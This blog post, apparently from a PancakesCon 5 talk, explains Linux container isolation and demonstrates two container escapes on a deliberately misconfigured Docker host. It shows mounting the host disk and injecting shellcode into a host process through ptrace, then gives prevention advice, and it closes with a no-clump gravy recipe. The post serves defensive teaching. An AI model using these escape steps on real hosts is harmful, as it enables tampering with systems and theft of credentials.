Post

A gentle introduction to container escapes and no-clump gravy

Part 1: A gentle intro to container escapes (link) šŸ” Lots of security and sysadmin courses talk about a ā€œcontainer escapeā€, but what is that really? Weā€™ll go over what a container is, demonstrate how to escape from it, and why thatā€™s not a good thing. Then weā€™ll talk about common ways to prevent this exploit.

Part 2: No-clump gravy (link) šŸ‘©šŸ»ā€šŸ³ Stop ruining your gravy, pan sauces, etc. with clumpy flour or adding so much it becomes solid. Learn how to balance fat and flour for perfect pan gravy, then a couple techniques on how to recover just in case it wasnā€™t right the first time.

This is slides, code, and demo walkthrough as shown live on 24 March 2024 at PancakesCon 5 ! šŸ„ž

Hereā€™s the slides as presented and YouTube recording. Since thereā€™s no screen-sharing on a website, I canā€™t bounce back and forth between code and a browser and this talk like I could in real life. Thereā€™s lots more code snippets, links, and screenshots here than in the original deck to make up for that. šŸ’–

Introduction

about-me

Hi, Iā€™m Natalie. I talk to the Feds and defense folks about containers, application security, and secure software development as a solutions engineer. Itā€™s an amazingly fun job!

I love to cook. We all have to eat, so why not enjoy what you eat and make it too?

Both of these are exhilarating and humbling because thereā€™s always so much to learn.

šŸŒø I have some biases šŸŒø

  1. I work in a technical sales role in the application security space. Todayā€™s topic isnā€™t closely related to my work, but I clearly have opinions on the importance of the problem and care about it.
  2. I also like tasty food. Everyone has to eat, why not enjoy both making and eating?
  3. Making the right choice easy is the best way to encourage good habits for both healthy eating and secure software development.

Containers 101

Howā€™d we even get here

k8s-history (image source in the Kubernetes documentation)

Despite the ā€œleft to rightā€ connotation of forward progress here, itā€™s more chronological than anything else. All three are totally valid ways to run production applications today.

šŸ“œ In the great before times, applications were deployed directly on hardware running in racks (bare metal). To maximize utilization of these bigger boxes, perhaps multiple applications were running side-by-side. The potential problem here became how to isolate these apps from each other, how to manage their resources so that no one consumed more than their share, and having to own and operate enough for peak capacity. What happens when APP A and APP B are on the same machine, but need a different version of something in the operating system?

šŸ“¦ Virtual machines (VMs) were the first big step in solving these problems. They allowed for multiple operating systems to run on the same hardware in isolation. However, it also allowed for workloads to be orchestrated across hardware using tools like the Linux kernel virtual machineā€™s virt-manager , Microsoft Hyper-V , or VMware vSphere . This increased the hardware utilization and resiliency of our deployments at the cost of increased overhead, as each virtual machine has itsā€™ own operating system to run the application we need.1

šŸ’” What if we could remove the resources needed by a virtual machine and allow an application to only carry with it the things it needs to run? Unlike in bare metal, this allows our application to own itsā€™ dependencies exclusively. The key software behind it is called a container runtime and for the scope of today, weā€™re going to treat them all as interchangeable. It allows us to pack ā€œmore app, less OSā€ on the same hardware compared to VMs without losing all of the benefits of that model, like orchestration across hardware.2

Now weā€™re thinking in containers!

Whatā€™s a container, anyways?

Thereā€™s an engineering compromise in this model of application deployment - we are losing some isolation in order to more efficiently use our resources. We are not losing all isolation, though, especially if weā€™re mindful of what a container is and how it works.

āœØ A container is a process. āœØ

It isnā€™t that much different from our bare metal application in that respect. However, it can also carry itsā€™ own dependencies wherever it runs, making it more like a VM. Like any other process, the host handles resource management and puts some guardrails in place to isolate it from other containers and processes it is running. These guardrails are a combination of Linux kernel features and tools in userland (outside of the kernel). While these all do something a little different, each of these affect our ability to escape and move laterally once we have escaped. Letā€™s dive in.

Seccomp

The lowest level of our container stack is the operating system on the host. These resources are accessed by any process in the operating system (a container or not) by system calls (syscalls ). These allow the process to interact with resources, like reading a file or writing to a network socket, and try to guarantee it plays nicely with everyone else sharing the same hardware. We could spend many hours talking about system calls, but this is all we need for today.3

The foundation we build on is the Linux kernelā€™s Secure Computing state, usually called seccomp . Introduced in the mid 2000ā€™s, it has been critical to process security. It limits the system calls a process can make, allowing the OS to isolate processes better.

šŸŖ¤ I think of seccomp as a mouse trap for processes - a process can enter, but the only way out is death. While alive, it can read and write to files it has open. It can exit nicely (exit()) and return a signal on if it was successful or not (sigreturn()). If the process tries to do anything beyond what itā€™s been allowed to by making a forbidden syscall, the kernel kills the process or logs the event (if not enforcing).

Moving up a level, while there are hundreds of system calls in Linux, your containerized application likely only needs a much smaller set of them. Many container runtimes limit these by publishing and using a default seccomp profile. The Docker engine publishes good documentation on their seccomp profile as an example.

Namespaces

Moving up a level in the kernel are namespaces . These define what a process is allowed to see. Itā€™s how the system shows resources to a process, but they can appear dedicated for isolation.4 There are eight at present. At a high level:

  1. cgroup - control groups, more on this in a moment
  2. ipc - inter-process communication, does exactly what it sounds like
  3. mount - controls mount points, enabling filesystem reads and writes
  4. network - a virtual network stack, enabling network communication
  5. process - process IDs
  6. time - system time
  7. uts - allows a process to know the hostname (stands for Unix Time-Sharing)
  8. user - user IDs and mapping them between host and process

Hereā€™s a quick example of passing one namespace, the hostname, into a container. Note how the --uts=host flag changes to allow the hostā€™s name in the container. Without it, the container uses a random container identifier as itsā€™ hostname.

1
2
3
4
5
6
7
8
9
10
11
user@demo:~$ docker run -it --uts=host ubuntu:jammy bash
root@demo:/# exit
exit

user@demo:~$ docker run -it ubuntu:jammy bash
root@21f946f01f9c:/# exit
exit

user@demo:~$ docker ps
CONTAINER ID   IMAGE          COMMAND   CREATED         STATUS         PORTS     NAMES
21f946f01f9c   ubuntu:jammy   "bash"    4 seconds ago   Up 4 seconds             jolly_galois

Minimizing whatā€™s available to a process minimizes our attack surface. Some of these are likely not to provide much foothold, like system time. Others are much more impactful. Letā€™s look more at one of these in particular, control groups.

Control groups (cgroups)

Control groups are similar to a weird file system5. They define what the process is allowed to have. This is how the kernel knows to limit a process to only have so much memory or CPU time.

Ideally, we humans arenā€™t going to interact with performance-tuning or rate-limiting individual applications. There are usually sensible defaults in place, but you can restrict them further if youā€™d like. If this is set incorrectly or limited, it provides an easier path to consuming all the resources on a system. This is also how a container runtime and orchestrator can predict resource usage on a machine. Hereā€™s an example of setting a memory and CPU limit on a container:

1
2
3
4
docker run -it \
  --cpus="1.5" \
  --memory="1g" \
  ubuntu:jammy bash

Since this is a filesystem (usually mounted at /sys/fs/cgroup), escaping our container could allow writing or changing these to perform a denial of service attack. The underlying host features we talked about so far are how our container runtime knows to give this container these resources and constraints. Now letā€™s talk about permissions to do naughty things!

Capabilities

i-am-root

šŸ§ššŸ»ā€ā™€ļø Once upon a time, one was either an all-capable administrator (root) or a plebeian with no special powers (user). That binary all-or-nothing approach of ā€œroot or not-rootā€ has been replaced by capabilities . These define what a process is allowed to do.

Capabilities allow users to selectively escalate processes with scoped permissions such as bind a service to a port below 1024 (CAP_NET_BIND_SERVICE) or read the kernelā€™s audit log (CAP_AUDIT_READ). There are about 40 unique capabilities, which is much more than can be covered today.

Granting minimal permissions to each part of your containerized application is tricky. It requires developers to understand deeply what the app needs to do and how that translates to kernel capabilities. Itā€™s tempting to just ā€œgive it everythingā€ and move on, which is why weā€™ll talk more about CAP_SYS_ADMIN in our demo.

OverlayFS

These processes use overlayfs , a stacking filesystem that containers use. Itā€™s best summarized by the commit message adding it to the kernel:

Overlayfs allows one, usually read-write, directory tree to be overlaid onto another, read-only directory tree. All modifications go to the upper, writable layer. This type of mechanism is most often used for live CDs but there is a wide variety of other uses.

This is how the container process can both carry itsā€™ dependencies with it and not interfere with other processesā€™ files on the host. You can read more about overlay files in the kernel documentation or in Julia Evanā€™s lovely zine on overlayfs . Ideally, things you donā€™t want a container to write to are read-only on the host, and the container canā€™t write to them. Thatā€™s not always how itā€™s been configured though.

Mandatory access control (MAC)

Lastly, no container security talk would be complete without mentioning some host-based mandatory access control (MAC) system. The most common ones are AppArmor or SELinux . These act as watchdogs to ensure each process (container or not) is only touching resources itā€™s allowed to based on the user, their role, and the files/processes/tasks that are attempted.6

šŸ˜© The reason I bring this up is that itā€™s common to disable these.

Itā€™s often the top-rated answer on StackOverflow or the first ā€œfixā€ in a blog post that ranks high in search results. It is always a bad idea to disable these, as itā€™s a critical layer of security that can prevent a container from doing things it shouldnā€™t be doing. So naturally, weā€™ll be disabling these for our demo!

roll-safe-selinux

I thought perhaps artificial intelligence assistants would help. I asked how to fix an error message when AppArmor stopped a container from doing something unsafe. It did tell me what I was doing might have security implications, but it didnā€™t warn me beyond that.

copilot-light copilot-dark Technically correct, yet unwise - Iā€™m feeling pretty secure about having a job. Thanks AI! šŸ¤–

And this relates to security how?

A container is a Linux process. Understanding the restraints in place and how they work is critical to understanding how they fail or can be misconfigured. This is how you gain a foothold and move around past where youā€™re supposed to be.

If it can be hard to understand, itā€™s likely to be easy to do insecurely.

There continues to be astonishing amounts of work to improve this by default. Sensible defaults are probably the most powerful tool in secure systems. As an example, it used to be that Docker always ran as a service (daemon) using the root user. This is no longer the case and rootless Docker is now the suggested default. Other container runtimes, such as Podman , donā€™t use a daemon at all.

A metaphor too far

boat-of-boats

Letā€™s imagine we put a ping-pong ball, representing a user or input, in one of these gravy boats inside a massive container ship. Itā€™s a bit much for a metaphor, but bear with me a moment.

How secure is that ball in one of these gravy boats?

Is it hard for the ball to roll or bounce between the boats?

What if weā€™re in rough seas?

Now what happens if the ball was glued inside or thereā€™s a lid on top? Itā€™d be a lot harder to get out, right?

Thatā€™s our container escape safeguards that we just talked about.

Planning our escape

misconfigurations

Widely speaking, there are two types of paths out of a container:

  1. Unpatched vulnerabilities
  2. Unsafe configurations

The first is whatā€™s typically imagined at the phrase ā€œcontainer escapeā€. Itā€™s a flaw in the container runtime or the kernel that allows a process to do unsafe things - like read or write to other processes. As a recent example, a group of CVEs named ā€œleaky vesselsā€ affects the runc container runtime and BuildKit container builder. These are normally remediated pretty quickly upstream and patched by updating your software.

Iā€™m a fan of exploring the second one. A mentor told me years ago that ā€œthereā€™s no patch for human stupidityā€ and how true it is never really leaves my side. I tend to not see stupid things too often, but what I do sadly see all the time is expediency to meet a deadline, under-resourced teams, constantly-changing priorities, maintenance windows that are months apart, or so many things to fix that no one even starts.

I donā€™t need to be clever to exploit misconfigurations. Even better is the fact that there are usually a valid business reason to configure things in this way some of the time, so a human overlooking that change in production is quite possible.

shortcut Workplace safety and infosec have a lot in common.

The spicy take

I typically donā€™t focus on or demonstrate that first type of escape. Apart from updating your software in a timely fashion, there usually isnā€™t as much preventative work here. I canā€™t believe Iā€™m coming up on 20 years of working with these computer things. It doesnā€™t seem like itā€™s been so long. However, if I have learned only one thing from every job and client and project Iā€™ve worked on, itā€™s this:

If updating any part of your software stack scares you,
šŸ”„ FIX THAT FIRST šŸ”„

Understanding your systems from end to end, having the ability to quickly test / deploy / rollback changes, and quickly respond to security vulnerabilities and outages is how you fix that fear. There are many ways to increase the security, reliability, observability, and fault tolerance of a system and maybe thatā€™s a good talk for another day. It isnā€™t always the shiny fun work, but the cost in time and discipline and tooling pays (usually unseen) dividends.

This isnā€™t ā€œdoing more with less.ā€ Itā€™s merely hiding business continuity risks that accrue over time, even if no changes are made to any system. Technical debt has real costs for all the humans in and around it. Like financial debt, it accumulates compound interest. It is not ā€œprioritizing reliabilityā€, it just hasnā€™t failed yet. When it does, itā€™ll be massively harder to recover than if weā€™d made those little payments of resiliency on our tech debt.

Listen to your feelings. If youā€™re scared to touch it, something is deeply wrong.

/end spicy take

Demo time

prayer-to-demo-gods

If youā€™re wanting to follow along, youā€™ll need a Linux machine with a container runtime installed. For the demo, hereā€™s what I used.

I picked Ubuntu and Docker for how common they are in enterprise uses, but these same principles should work if you swap in other hosts or runtimes. These are both situations I have encountered in the field.7 šŸ˜±

Escape - mount the host filesystem

First up, letā€™s take a look outside my container at some of the hostā€™s files. For the demo, first make a flag at /boot/flag.txt to read and write to for showing your daring escape.

1
2
3
4
user@demo:~$ echo "hiya, you found me at pancakescon 5!" | \
  sudo tee -a /boot/flag.txt

hiya, you found me at pancakescon 5!

Now letā€™s start a container with only the minimum permissions needed to mess with host file systems. Line by line, this command:

  1. Runs a container interactively (-i) and with a terminal (-t).
  2. Drops all capabilities, but then adds back SYS_ADMIN.
  3. Disables AppArmor in order to use mount. This is, sadly, common to disable or never enable in the first place. More on that in a little bit.
  4. Mounts the /dev/ folder on the host to the root directory in the container. This can be anywhere in the destination file system, but root is easy enough.
  5. Uses the ubuntu:jammy-20240227 image from Docker Hub
  6. To run bash, a shell to do things interactively.
1
2
3
4
5
6
docker run -it \
  --cap-drop=ALL --cap-add=SYS_ADMIN \
  --security-opt apparmor=unconfined \
  --device=/dev/:/ \
  ubuntu:jammy-20240227 \
  bash

From within the container now, letā€™s have a little fun. The next steps show us:

  1. Listing the available block devices with lsblk. This shows that sda1, at around 30 G, is likely interesting to an adversary. Itā€™s the source of a few key files, like our hostname and DNS information, which weā€™re likely to get from our host.
  2. From there, I just go for trying to mount it with mount /sda1 /mnt ā€¦ which works!
  3. Now list the files there to see our flag!
  4. Use cat to read it to the terminal.
  5. Bonus points - letā€™s try to write to it with another echo >> file. This works!
  6. Use cat to see the whole file now.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
root@374fb07f013f:/# lsblk
NAME    MAJ:MIN RM  SIZE RO TYPE MOUNTPOINTS
loop0     7:0    0 91.8M  1 loop
loop1     7:1    0 40.4M  1 loop
loop2     7:2    0 63.9M  1 loop
sda       8:0    0   30G  0 disk
|-sda1    8:1    0 29.9G  0 part /etc/hosts
|                                /etc/hostname
|                                /etc/resolv.conf
|-sda14   8:14   0    4M  0 part
`-sda15   8:15   0  106M  0 part
sdb       8:16   0   16G  0 disk
`-sdb1    8:17   0   16G  0 part

root@374fb07f013f:/# mount /sda1 /mnt

root@374fb07f013f:/# ls /mnt
bin   dev  flag.txt  lib    lib64   lost+found  mnt  proc  run   snap  sys  usr
boot  etc  home      lib32  libx32  media       opt  root  sbin  srv   tmp  var

root@374fb07f013f:/# cat /mnt/flag.txt
hiya, you found me at pancakescon 5!

root@374fb07f013f:/# echo -en "ubuntu was here\n" >> /mnt/flag.txt

root@374fb07f013f:/# cat /mnt/flag.txt
hiya, you found me at pancakescon 5!
ubuntu was here

āš ļø What trouble can we get into? Since we have root access to the hostā€™s operating system, a few naughty things could be to

  • Mess with name resolution in /etc/hosts or /etc/resolv.conf to establish connectivity to a malicious server without a lookup.
  • Get passwords to crack out of /etc/shadow or mess with login assignments in /etc/passwd.
  • Replace a trusted executable with something already compromised.
  • Tamper with Kerberos or SSSD or other authentication services to bypass them.
  • Tamper with the files in the boot partition to change the kernel or bootloader.
  • Edit server configuration files to change itsā€™ behavior.

Iā€™m not just picking on Ubuntu here. Hereā€™s the exact same escape running in Red Hatā€™s universal base image (UBI). Launch it in the same way we did the first one.

1
2
3
4
5
6
docker run -it \
  --cap-drop=ALL --cap-add=SYS_ADMIN \
  --security-opt apparmor=unconfined \
  --device=/dev/:/ \
  registry.access.redhat.com/ubi9/ubi:latest \
  bash

And now the same escape path works here too.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
[root@5bcb54de65eb /]# lsblk
NAME    MAJ:MIN RM  SIZE RO TYPE MOUNTPOINTS
loop0     7:0    0 91.8M  1 loop
loop1     7:1    0 40.4M  1 loop
loop2     7:2    0 63.9M  1 loop
sda       8:0    0   30G  0 disk
ā”œā”€sda1    8:1    0 29.9G  0 part /etc/hosts
ā”‚                                /etc/hostname
ā”‚                                /etc/resolv.conf
ā”œā”€sda14   8:14   0    4M  0 part
ā””ā”€sda15   8:15   0  106M  0 part
sdb       8:16   0   16G  0 disk
ā””ā”€sdb1    8:17   0   16G  0 part

[root@5bcb54de65eb /]# mount /sda1 /mnt

[root@5bcb54de65eb /]# echo -en "ubi9 was here too\n" >> /mnt/flag.txt

[root@5bcb54de65eb /]# cat /mnt/flag.txt
hiya, you found me at pancakescon 5!
ubuntu was here
ubi9 was here too

Lastly, validate that we wrote to that file from the host VM.

1
2
3
4
user@demo:~$ cat /boot/flag.txt
hiya, you found me at pancakescon 5!
ubuntu was here
ubi9 was here too

Prevention - mount the host filesystem

There are a few places here where this path out would be hard to pull this off. Letā€™s dig in:

  1. Running the container interactively and with a terminal should be reserved for development. Itā€™s handy to debug things live. Itā€™s easy to forget to remove these packages, any extra development dependencies, and the settings to run it as privileged before promoting a container into production. Neither of these should be necessary in production.
  2. Adding the SYS_ADMIN capability is effectively allowing your container to run as root (or using the --privileged flag in your container runtime). Dropping everything, but adding almost everything back doesnā€™t really improve your posture any.
  3. Disabling AppArmor (or SELinux) makes me a sad panda. šŸ¼ Itā€™s common to run a search for an error message and have the highest-rated answer be something exceptionally unsafe - like doing exactly this.
  4. Lastly, while there may be good reasons to mount a filesystem from the host into a container, mounting all of /dev/ is way beyond reasonable. This gives the container access to all devices on the host.

This seems like a case of something that works okay in experimentation, and likely isnā€™t too risky on a devā€™s endpoint before it gets committed. The problem is in not revising these settings as a project matures and thinks about production.

Escape - modify a host process in memory

This one is only a little more complicated. Weā€™ll build a container (dockerfile ) and compile a small program (source code ) to inject arbitrary shell code into a running process. Open three terminals to your VM to follow along.

From the first session, build and launch the container. This time, we only need the SYS_PTRACE capability.

1
2
3
4
5
6
7
8
9
10
11
# setup
vim test.Dockerfile
docker build -f test.Dockerfile -t test:latest .

# launch the container
docker run -it \
  --pid=host \
  --cap-drop=ALL --cap-add=SYS_PTRACE \
  --security-opt apparmor=unconfined \
  test:latest \
  bash

Now launch a simple HTTP server from the second session. No need to get fancy here.

1
2
3
user@demo:~$ python3 -m http.server 8080 &
[1] 4033
user@demo:~$ Serving HTTP on 0.0.0.0 port 8080 (http://0.0.0.0:8080/) ...

Probe the ports from the third session. As expected, port 8080 is open and port 5600 is not.

1
2
3
4
5
user@demo:~$ nc -vz 127.0.0.1 8080
Connection to 127.0.0.1 8080 port [tcp/http-alt] succeeded!

user@demo:~$ nc -vz 127.0.0.1 5600
nc: connect to 127.0.0.1 port 5600 (tcp) failed: Connection refused

Now copy in our escapeā€™s source code using vim to change the port itā€™s listening on in memory. Compile it with gcc, then run it and pass in the PID of the server process from within the container (in session #1).

1
2
3
4
5
6
7
8
9
10
root@0079dd71ec0e:/# vim inject.c
root@0079dd71ec0e:/# gcc -o inject inject.c
root@0079dd71ec0e:/# ./inject 4033
+ Tracing process 4033
+ Waiting for process...
+ Getting Registers
+ Injecting shell code at 0x7f0c37be3bbf
+ Setting instruction pointer to 0x7f0c37be3bc1
+ Run it!
root@0079dd71ec0e:/#

Verify connectivity in the third session. Uh oh ā€¦ itā€™s an open port! šŸ˜±

1
2
3
4
5
user@demo:~$ nc -vz 127.0.0.1 8080
Connection to 127.0.0.1 8080 port [tcp/http-alt] succeeded!

user@demo:~$ nc -vz 127.0.0.1 5600
Connection to 127.0.0.1 5600 port [tcp/*] succeeded!

Prevention - modify a host process in memory

ops

Hereā€™s what is going on and the many ways this could be thwarted:

  1. Using --pid=host allows the container to run using the hostā€™s PID namespace, allowing it to see and interact with all processes on the host. This is commonly used when the container holds debugging tools such as gdb that would need to interact with other containers or processes.
  2. Adding CAP_SYS_PTRACE allows the container to read and write to memory in arbitrary locations using the ptrace system call. Itā€™s super handy in debugging!
  3. Again, disabling AppArmor is never a good idea. šŸ˜¢

All of the above have valid uses in development. These should be revised before you set real, and possibly malicious, people loose on your containerized application.

Container best practices

An always-incomplete list of top best practices includes:

  • Be mindful of the kernel capabilities. Using --privileged, --cap-add=SYS_ADMIN, etc., is risky. Use --cap-drop=ALL to drop all capabilities, add back only what you need (full list ), then remove the ability to change these at runtime with --security-opt="no-new-privileges=true" (for Docker, other runtimes have other syntax to do the same thing).
  • Donā€™t disable SELinux or AppArmor. This is true even if containers were never in the picture.
  • Use a non-root user within your container. Notice how each of these demos didnā€™t specify that and the user was root, as itā€™s a common default.
  • Use trusted images that are rebuilt regularly with security updates.8
  • Keep the hosts up to date too.
  • Review your dependencies and revise them as needed between development and production.

Each of these practices are an imperfect layer of security, preventing our naughty escapades and malicious actors. Thereā€™s always some valid business reason somewhere to not follow it. Nonetheless, each layer is imperfect. Together, though, and it combines into a formidable system that can be forgiving of one or two of these deviations without a huge impact on the system. Itā€™s like looking through a bunch of slices of swiss cheese - sometimes the holes may line up for you to see through, but thereā€™s a lot of them to be present for you to see all the way through. This is called defense in depth.

swiss-cheese-in-depth defense in all of itsā€™ cheesy depth

Resources to learn more about container security

These are in no particular order, just links Iā€™ve found be super handy.

No-clump gravy

gravy-glue

Gravy is the glue of the culinary world. Every culinary tradition seems to have recipes to use up the last of the pan. It can cover up any shortcomings on the ingredients, transform the bland into something sublime, and ties a meal together. I made the meme above by trying to list all the gravy types Iā€™d made lately-ish and knew offhand - hereā€™s what they all are:

  • Pan gravy - browned bits of roast meat drippings, flour, and water or broth
  • Sawmill gravy - the traditional gravy of ā€œbiscuits and gravyā€ and weā€™re making this below
  • Tomato gravy - breakfast staple of the American southeast in summer of fresh diced tomatoes, chicken broth, and butter and flour
  • Chocolate gravy - dessert sauce of cocoa powder, sugar, butter, water, and flour
  • Burger gravy - American midwest classic using fatty ground beef, onions, steak sauce, flour, and water
  • Salt pork gravy - rendered salt pork or bacon fat makes gravy too, common in New England
  • Shrimp gravy - same idea as all of the above, but please take your shrimp out for a while because no one likes gummy overcooked shrimp!
  • Mushroom gravy - mushrooms and onions with vegetable or beef broth, flour, and butter
  • Vegan gravy - uses vegetable broth, soy or tamari, nutritional yeast, neutral oil, and flour
  • Mole sauce - Mexican sauce of tomatoes, chili peppers, and spices (and fat and flour)
  • BĆ©chamel - French white sauce of butter, flour, and milk - Iā€™m gonna argue this is gravy!
  • VeloutĆ© - French sauce of butter, flour, and stock - also gravy.
  • Iā€™m sure to be forgetting a lot too, but there was no more room on the picture šŸ¤¤

Seasonings add a whole new dimension to play with flavors and textures as each part of the world has unique blends of vegetables and spices and techniques!

šŸ’ž Meals bring people together and gravy brings your meal together. šŸ’ž

Itā€™s a simple combination:

fat + starch + water = gravy

But while straightforward, thereā€™s some easy ways to mess it up too. Iā€™m talking about lumpy gravy, the plague of the holiday dinner table. Letā€™s do some science and never suffer with lumpy gravy again!

What causes lumps

ants-1

This is no island or random bit of flood debris.

šŸ”„ šŸœ Itā€™s a raft of fire ants, adrift in the water. šŸœ šŸ”„

When the water table rises, fire ants leave their nest. Theyā€™ll carry their young and their queen with them. They then form these nightmare islands on the ground surface by locking their jaws and legs together. This both increases the surface area of the water the ants make contact with to use surface tension and decreases the density of the ā€œant blobā€ enough so that they can float. Individually, these ants will all drown. As the floodwaters rise, these rafts may move the fire ants to a new home, but they have a chance of survival together. This isnā€™t too different from how lumps form in your gravy.

Flour, like fire ants, acts weird when it gets wet.

Flour is a lot of things. Itā€™s finely ground grain, which is usually a seed of a plant. In the United States, that plant is normally wheat . Seeds have three parts:

  • Bran - fiber-packed protective outer layer of the seed
  • Germ - full of protein, fat, and vitamins because itā€™s the part that grows into a new plant šŸŒ±
  • Endosperm - mostly-starchy part that feeds the the new plant until it has roots and leaves

ants-2

The composition of the flour is determined by the plantā€™s seed we used, how itā€™s processed, and how much of the above is used. This changes the flourā€™s nutrition, behavior in recipes, and flavor.

The basics are still the same.

  • Flour is mostly starch. Starches ā™„ļø water. Itā€™s hydrophilic, if science words are more your thing.
  • Flour has some fat in it too. Itā€™s usually what makes it go rancid.
  • Flour also has protein! For many types of flour, itā€™s what forms gluten when wet.

šŸž Bread dough doesnā€™t magically rise - that happens with yeast or baking powder, which makes carbon dioxide for the air bubbles that then get trapped by that protein network.9

ants-3

šŸ’¦ When flour gets wet, these three components start to interact in ways that form lumps. The starches swell with water, acting like a sponge and expanding. The proteins start to bond together, holding the surface of the lump together. Heat makes these two processes happen faster - probably much faster than you can whisk them out.

Gravy isnā€™t made by dissolving flour into fat and water, like sugar into tea. Even the smoothest gravy is an emulsion - the flour is individual particle, suspended in liquid. This means that no matter how long we let it simmer or sit, without physically breaking up the lumps, itā€™ll never get smooth.

Fixing lumps

There are a couple ways to fix lumps once they have already formed:

  • Use a blender or food processor to rapidly break up the lumps.
  • Whisk it. It works the same as a food processor, but with more elbow grease.
  • Run it through the finest strainer or sieve you own, usually a couple times to get it more or less smooth.
  • Throw it out and try again.

Remember you want individually drowned ants,
not a nightmare lump of fiery DOOOOOM.

Cheat code

Wondra flour or similar is a wheat flour thatā€™s ultra-fine, pre-cooked, and dried. Itā€™s available at most grocery stories. You can think of it like ā€œinstant gravyā€. Itā€™s also handy for dredging foods before frying, thickening soups or savory pie fillings, and more. While you donā€™t usually need it, it can get you out of a culinary bad situation. Itā€™s nice to use a cheat code from time to time, but remember a little goes a very long way.

Recipes

Now that weā€™re armed with the science of preventing lumps in our gravy, letā€™s make some!

brown-bits-flavortown

Roux

Roux is a simple fat and flour mixture thatā€™s cooked until it reaches the right shade of done. Light roux is barely toasted and is the color of a light bread crust. Lightly cooked roux is not changing the flavor of the dish, making it very versatile. If you continue cooking it, stopping when itā€™s a chocolate-y brown, itā€™ll add a lot of umami but can overpower some dishes.

Ingredients:

  • 1 cup of neutral oil, such as vegetable oil or canola oil
  • 1 cup of all-purpose flour

Directions:

  1. Whisk the two together cold in a saucepan.
  2. Heat over medium heat, stirring CONSTANTLY!
  3. Cool once flour reaches the desired color.

Store in an airtight container in the refrigerator for a month or so. Recipe link for more information. Hereā€™s a picture of roux cooked to perfection for gumbo (chocolate-y brown):

roux roux darkening, clockwise from top left

Sawmill sausage gravy

Letā€™s make it a little more difficult and remove the ability to use a blender. The texture of breakfast sausage is critical to a good sawmill gravy! Recipe link for ingredients, directions, and more information.

Picture Steps
sawmill-1 Cut the casings off the sausage.
If itā€™s lean, add a bit of fat to the pan.
You can always add more later!
Turn stove to medium heat, working sausage apart with spatula.
sawmill-2 Somewhere around the sausage being halfway cooked, add the flour.
sawmill-3 Stir.
The flour will start to brown a bit too.
Itā€™s coating the sausage and mixing with fat in the pan.
You donā€™t want dry flour.
If itā€™s dry, add a little more fat.
sawmill-4 Pour the milk in.
Itā€™ll look underwhelming and thin to start.
sawmill-5 Spoon test:
1. Stir your sauce.
2. It should coat the back of the spoon.
3. Drawing a line with your finger should stay clear and well-defined.

The spoon test is ā€œmehā€ after a minute or two.
sawmill-6 But give it another few minutes ā€¦
Stir while you make other things.
šŸŖ„MAGIC! šŸŖ„

Hereā€™s what it looks like once itā€™s ready to serve:

Refrigerate leftovers for a day or three, reheat in a saucepan.

Gravy container security

gravy-spill

food-safety-temps

Lastly, letā€™s talk a moment about the security of your gravy.

Above is a gravy boat. Itā€™s used for serving gravy, but itā€™s only good for transportation around the dinner table.

Gravy can be a fantastic breeding ground for the types of bacteria that cause food poisoning. While itā€™s usually got a reasonable salt content that can hinder some spoilage, itā€™s also got plenty of starch and not acidic. Itā€™s usually served at a temperature thatā€™s perfect for bacteria to grow. The USDA recommends keeping hot foods hot and cold foods cold - avoiding the ā€œdanger zoneā€ between 40Ā°F and 140Ā°F (4Ā°C and 60Ā°C).

If you want to go farther than the distance between your kitchen and your table, youā€™ll want a thermos. Choose to transport it hot if youā€™re not going far, but default to transporting it cold and reheating when you get there.

Conclusions

Eat good food and ship good software - simple techniques go a long way.

Keeping it fresh, both for food and application security, is crucial to success.

gravy-boat


Image credits

šŸ¤– I had way too much fun playing with AI image generators in the making of this talk.

Disclosure

I work at Chainguard as a solutions engineer at the time of writing this. All opinions are my own.

Footnotes

  1. Escaping a virtual machine is still quite possible, but is both considered more difficult and not todayā€™s topic. Hereā€™s an example of a critical vulnerability from earlier this month in VMwareā€™s virtualization products - VMSA-2024-0006.1 Ā ā†©

  2. This was a very high-level overview of the history of containers. Container orchestrators like Kubernetes , OpenShift , and Docker Swarm are not relevant to todayā€™s topic.Ā ā†©

  3. System calls and application/kernel interfaces are way beyond the scope of this talk. If you want to learn more, I found this interactive Linux kernel diagram to be super helpful! The Linux Foundation also holds a training course on the Beginnerā€™s Guide to Linux Kernel Development .Ā ā†©

  4. Weā€™re talking about a kernel namespace, which is a low-level concept that wraps system resources in such a way that they are shared but appear dedicated. Not at all confusing, but a ā€œnamespaceā€ in Kubernetes is a high-level abstraction commonly used to divide a clusterā€™s resources among several applications.Ā ā†©

  5. Thereā€™s two different versions to be aware of here, but the differences between them are way outside the scope of this talk.Ā ā†©

  6. Red Hat published a coloring book on SELinux that remains one of the most delightful ways to understand how mandatory access control works.Ā ā†©

  7. Tiny amendment to that - most folks are just using sudo run or --privileged or --cap-add=SYS_ADMIN to get around the permissions issues. Iā€™m instead demonstrating the minimal permissions needed to escape.Ā ā†©

  8. Thatā€™s as close as weā€™re getting to my day job in this talk.Ā ā†©

  9. If you want to learn more about the art and science of baking, Iā€™ve found King Arthur Bakingā€™s website and book to be both approachable and inspiring - am a big fan!Ā ā†©

This post is licensed under CC BY 4.0 by the author.